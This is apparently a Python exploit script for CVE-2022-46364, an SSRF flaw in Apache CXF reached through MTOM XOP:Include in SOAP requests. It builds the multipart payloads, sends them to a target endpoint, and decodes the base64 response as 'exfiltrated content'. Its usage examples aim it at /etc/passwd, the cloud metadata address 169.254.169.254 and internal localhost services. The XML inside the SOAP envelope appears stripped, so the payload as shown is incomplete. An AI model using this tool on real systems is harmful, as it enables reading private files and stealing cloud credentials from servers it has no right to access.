#!/usr/bin/env python3 """ CVE-2022-46364 Professional Exploit ==================================== Apache CXF SSRF via MTOM XOP:Include (CVSS 9.8 | CWE-918) Affected: Apache CXF < 3.5.5 / < 3.4.10 Author: kasemsh """ import argparse import base64 import re import sys import urllib.error import urllib.request from typing import Tuple, Optional class Colors: RED = '\033[91m' GREEN = '\033[92m' YELLOW = '\033[93m' BLUE = '\033[94m' MAGENTA = '\033[95m' CYAN = '\033[96m' BOLD = '\033[1m' END = '\033[0m' class CXFExploit: BOUNDARY = "----=_Part_1" TIMEOUT = 10 def __init__(self, target: str, ssrf_url: str, domain: str, plain_soap: bool = False): self.target = target self.ssrf_url = ssrf_url self.domain = domain self.plain_soap = plain_soap def build_mtom_payload(self) -> Tuple[bytes, str]: """Construct MTOM multipart SOAP request with XOP:Include""" soap_envelope = f""" IT test false """ body = ( f"--{self.BOUNDARY}\r\n" f'Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"\r\n' f'Content-Transfer-Encoding: 8bit\r\n' f'Content-ID: \r\n' f"\r\n" f"{soap_envelope}\r\n" f"--{self.BOUNDARY}--\r\n" ).encode("utf-8") content_type = ( f'multipart/related; type="application/xop+xml"; ' f'boundary="{self.BOUNDARY}"; ' f'start=""; ' f'start-info="text/xml"' ) return body, content_type def build_plain_soap_payload(self) -> Tuple[bytes, str]: """Construct plain SOAP request with XOP:Include""" soap_envelope = f""" IT test false """ return soap_envelope.encode("utf-8"), "text/xml; charset=UTF-8" def extract_response(self, response_xml: str) -> Tuple[Optional[str], Optional[str]]: """Extract and decode Base64 content from SOAP response""" # Pattern 1: Extract from "Report received from BASE64" match = re.search(r'Report received from ([A-Za-z0-9+/=\n\r]+)', response_xml, re.DOTALL) if match: b64_content = match.group(1).strip() # Clean up any whitespace/newlines in base64 b64_content = re.sub(r'\s+', '', b64_content) try: decoded = base64.b64decode(b64_content).decode("utf-8", errors="replace") return decoded, b64_content except Exception as e: pass # Pattern 2: BASE64 match = re.search(r'([A-Za-z0-9+/=\s]+)', response_xml, re.DOTALL) if match: b64_content = match.group(1).strip() b64_content = re.sub(r'\s+', '', b64_content) try: decoded = base64.b64decode(b64_content).decode("utf-8", errors="replace") return decoded, b64_content except Exception: pass # Pattern 3: BASE64 match = re.search(r'([A-Za-z0-9+/=\s]+)', response_xml, re.DOTALL) if match: b64_content = match.group(1).strip() b64_content = re.sub(r'\s+', '', b64_content) try: decoded = base64.b64decode(b64_content).decode("utf-8", errors="replace") return decoded, b64_content except Exception: pass return None, None def send_request(self) -> Tuple[str, int]: """Send SOAP request and return response""" body, content_type = self.build_plain_soap_payload() if self.plain_soap else self.build_mtom_payload() req = urllib.request.Request( url=self.target, data=body, method="POST", headers={ "Content-Type": content_type, "SOAPAction": '""', "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", }, ) try: with urllib.request.urlopen(req, timeout=self.TIMEOUT) as resp: return resp.read().decode("utf-8", errors="replace"), resp.status except urllib.error.HTTPError as exc: return exc.read().decode("utf-8", errors="replace"), exc.code def exploit(self): """Execute SSRF exploit""" print(f"{Colors.CYAN}{Colors.BOLD}") print("=" * 70) print(" CVE-2022-46364 | Apache CXF SSRF via MTOM XOP:Include") print(" CVSS 9.8 CRITICAL | CWE-918") print("=" * 70) print(f"{Colors.END}") print(f"{Colors.BOLD}[CONFIG]{Colors.END}") print(f" Target: {Colors.YELLOW}{self.target}{Colors.END}") print(f" SSRF URL: {Colors.YELLOW}{self.ssrf_url}{Colors.END}") print(f" Domain: {Colors.YELLOW}{self.domain}{Colors.END}") print(f" Method: {Colors.YELLOW}{'Plain SOAP' if self.plain_soap else 'MTOM'}{Colors.END}") print() print(f"{Colors.BOLD}[*]{Colors.END} Sending exploit payload...") try: response, status = self.send_request() except Exception as e: print(f"{Colors.RED}[!] Request failed: {e}{Colors.END}") sys.exit(1) print(f"{Colors.GREEN}[+]{Colors.END} Server responded: HTTP {status}") print() # Show raw response snippet for debugging print(f"{Colors.BOLD}[RAW RESPONSE SNIPPET]{Colors.END}") print(f"{Colors.BLUE}{response[:500]}{Colors.END}") print() decoded, b64_raw = self.extract_response(response) if decoded: if b64_raw: print(f"{Colors.BOLD}[BASE64 EXTRACTED]{Colors.END}") print(f"{Colors.MAGENTA}{b64_raw[:200]}{'...' if len(b64_raw) > 200 else ''}{Colors.END}") print() print(f"{Colors.BOLD}{Colors.GREEN}[EXFILTRATED CONTENT]{Colors.END}") print("=" * 70) print(decoded) print("=" * 70) print() print(f"{Colors.GREEN}{Colors.BOLD}[✓] EXPLOIT SUCCESSFUL{Colors.END}") print(f"{Colors.CYAN}Server fetched internal resource and returned contents.{Colors.END}") else: print(f"{Colors.RED}[!] Could not extract/decode Base64 content{Colors.END}") print(f"{Colors.YELLOW}[FULL RAW RESPONSE]{Colors.END}") print("=" * 70) print(response) print("=" * 70) def main(): banner = f"""{Colors.BOLD}{Colors.CYAN} ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗╚════██╗ ██║ ██║██╔════╝ ╚════██╗██╔════╝ ██║ ██║ ██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝ ███████║███████╗ █████╔╝███████╗ ███████║ ██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚═══██╗ ╚════██║██╔═══██╗██╔═══╝ ██╔═══██╗╚════██║ ╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗██████╔╝ ██║╚██████╔╝███████╗╚██████╔╝ ██║ ╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚═════╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚═╝ {Colors.END}""" print(banner) parser = argparse.ArgumentParser( description="CVE-2022-46364 Apache CXF SSRF Exploit", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=f"""{Colors.BOLD}Examples:{Colors.END} python3 exploit.py -t http://target.com:8080/employeeservice -s file:///etc/passwd -d target.com python3 exploit.py -t http://target.com/soap -s http://169.254.169.254/latest/meta-data/ -d target.com python3 exploit.py -t http://victim/api -s http://127.0.0.1:9999/secret --plain-soap """, ) parser.add_argument("-t", "--target", required=True, help="Vulnerable CXF SOAP endpoint URL") parser.add_argument("-s", "--ssrf-url", required=True, help="Internal URL to exfiltrate") parser.add_argument("-d", "--domain", default="localhost", help="Target domain (default: localhost)") parser.add_argument("--plain-soap", action="store_true", help="Use plain SOAP instead of MTOM") args = parser.parse_args() exploit = CXFExploit( target=args.target, ssrf_url=args.ssrf_url, domain=args.domain, plain_soap=args.plain_soap ) exploit.exploit() if __name__ == "__main__": main()